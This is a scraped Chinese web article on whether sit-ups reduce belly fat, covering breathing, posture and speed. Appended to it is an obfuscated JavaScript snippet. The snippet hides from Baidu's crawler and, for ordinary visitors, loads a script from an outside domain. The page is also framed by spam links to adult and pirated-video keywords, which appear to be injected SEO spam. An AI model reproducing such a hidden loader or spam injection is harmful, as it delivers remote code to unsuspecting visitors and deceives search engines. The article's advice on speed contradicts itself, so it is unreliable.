久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

做仰臥起坐能減肚子上的贅肉嗎

2017-04-22 01:24:39  來源:360常識網   熱度:
導語:仰臥起坐是許多年輕朋友們都非常熱衷的運動項目之一。堅持做仰臥起坐不但能幫助我們鍛煉身體,還能免去每日去健身房鍛煉的麻煩,所以仰臥起

仰臥起坐是許多年輕朋友們都非常熱衷的運動項目之一。堅持做仰臥起坐不但能幫助我們鍛煉身體,還能免去每日去健身房鍛煉的麻煩,所以仰臥起坐是一種非常有效又便捷的運動方式。我們都知道仰臥起坐可以幫助我們鍛煉背部和腹部的肌肉。那么做仰臥起坐能減肚子上的贅肉嗎?

仰臥起坐需配合呼吸

做仰臥起坐要達到瘦肚子的功效,需要配合呼吸。抬起上身的時候呼吸,向后仰的時候吸氣。如果保持45度動作的時候,就保持正常呼吸,不要屏住呼吸。

在平時不練習的時候也最好學會腹式呼吸,這樣有助于讓小腹肌肉變得緊實。吸氣時感受腹腔向內和向上體收,充分吸氣再深深呼出。無論是站著、坐著、走路都可以有意識地進行腹式呼吸,養成習慣,有助于減小肚子。

仰臥起坐的姿勢

傳統的仰臥起坐是雙手十指交叉放在頭后,但是這樣起坐的過程會借助手的力量將頭抬起,容易造成頸部肌肉拉傷。因此最好將雙手交叉抱在胸前,或者將手放在耳朵兩側,起坐的時候腹部用力。

仰臥起坐也不是起身的高度越大越好的。正確的方法是仰臥起坐時盡量延長身體和地面45度角的持續時間,至少保持30秒。這樣可以讓腹部肌肉得到充分的收緊,對于燃燒腹部脂肪更加有幫助哦。

仰臥起坐的速度

做仰臥起坐減肥肚子的時候,要注意速度,速度要適中,速度越大,腹部受到的壓力越小,因此放慢速度才是減肚子的最好方法。最正確的做法是起來的速度快一些,下去的速度要慢一些。可以在起身的時候數1,下去的時候數2、3、4。

由此可見,仰臥起坐是能夠幫助我們減小肚子的有效運動方式之一。只是在日常鍛煉的時候朋友們不可盲目的追求運動速度,這樣做非但對鍛煉腹部肌肉沒有任何作用,還會造成腹部肌肉的拉傷。只有按照正確的方式做才能有效的幫助我們減少腹部贅肉。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 亚洲精品电影在线观看 | 中文字幕一区二区在线观看 | 超碰一区二区三区 | 日本不卡网站 | 精品一区二区三区免费 | 久精品视频 | 在线视频中文字幕 | 国产精品久久久久久久久久久久 | 伊人精品影院 | 欧美一区二区在线 | 国产专区在线播放 | 欧美视频精品在线观看 | www.久久 | av免费在线观看网站 | 免费大黄网站 | 夜夜夜久久久 | 九九热视频在线 | 超碰人人爱 | 欧美 日韩 在线播放 | 日韩视频一区二区三区 | 久草在线资源视频 | 99亚洲精品 | 高清视频一区 | 99久久婷婷国产综合亚洲 | 99久久久国产精品 | 黄免费看| 久久亚洲一区 | 理论片91 | 久久久久综合狠狠综合日本高清 | 成年人视频在线免费观看 | 欧美日韩免费看 | 国产日韩视频在线观看 | 男女羞羞视频网站 | 欧美性生活免费观看 | 国产精品一区二区三区四区 | 18韩国主播福利视频在线观看 | 91精品国产人妻国产毛片在线 | 亚洲国产精品av | 在线一区二区三区视频 | 秋霞一区二区 | 婷婷丁香五 |